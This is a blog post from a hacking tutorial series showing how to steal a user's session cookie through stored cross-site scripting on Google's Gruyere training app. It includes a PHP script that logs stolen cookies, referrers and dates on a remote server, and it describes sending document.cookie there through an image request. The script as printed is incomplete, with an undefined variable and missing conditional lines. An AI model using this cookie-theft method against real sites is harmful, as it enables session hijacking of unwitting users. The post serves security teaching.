Hack le Hector: Volume 1 (Cuid a dó)

In part one of our Hack le Hector series, I introduced Google’s Gruyere platform, and demonstrated how to bypass a primitive XSS-filter to insert live-javascript into the database, producing a textbook javascript alert message. In this second part, I will demonstrate how to take this a little further by hijacking a user’s cookie and storing it in a remote server with some basic PHP scripting.

Using the same invalid HTML trick, we will produce the user’s cookie from their current session by using javascript’s document.cookie property.

When we login with the victim account, we should get an alert message displaying our cookie’s details.

This alone however isn’t much use, as it will only ever display the cookie of the user that’s viewing the page. Therefore, what we need to do is submit the cookie’s values to a script on a remote server, which will log them for the attacker to view. In order to do that, we will have to write a basic script which will take in the required values.

If we are to assume we are passing the following information to the script:



$cookie = $_GET[‘cookie’];


The above script will take the cookie’s value, and store it in a variable called $cookie. This alone obviously serves no inherent use. We will need to expand the script to include more information, such as the referrer and date, along with the cookie – and use PHP’s file-handling ability to write the information to a file. The final script should look like this.

$cookie = $_GET[‘cookie’];
$log = “log.txt”;
$date = date(“D, d M Y H:i:s”);

// check if cookie is set

// open log file in append mode
$fh = fopen($log, ‘a’) or die(“Unable to open file.”);

$data = “\nCookie: ” . $cookie . “\nReferer: ” . $ref . “\nDate: ” . $date . “\n\n”;

// write cookie, referer and date to file
fwrite($fh,   $data);


// Cookie value is empty, do not write to file.
echo “Cookie not set.”;


The next course of action is to actually submit the cookie’s values to this script. To do this, we log back in again as the evil attacker and exploit the weak XSS filtering in the snippet script yet again. There are a number of ways to submit the cookie to our script, but in this particular instance, we will use javascript to process the encoded URI by creating a new image object out of the actual encoded URI. When the server tries to create the image object, it will process the encoded URI – and thus, submit the cookie to our server which will grab it via a GET method.

When the victim logs into their account, it will submit their current cookie for the site to our script. A quick cat of our log-file on our remote server will display the cookie’s details.

And there we have it – the victim’s cookie logged in a log-file, without them knowing anything about it. It’s simple flaws like this in web-applications that should make everyone more aware of the potential flaws that exist on the internet.

3 Responses to Hack le Hector: Volume 1 (Cuid a dó)

  1. kry0 says:


  2. kry0 says:

    Just testing xss in your WordPress mate🙂

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: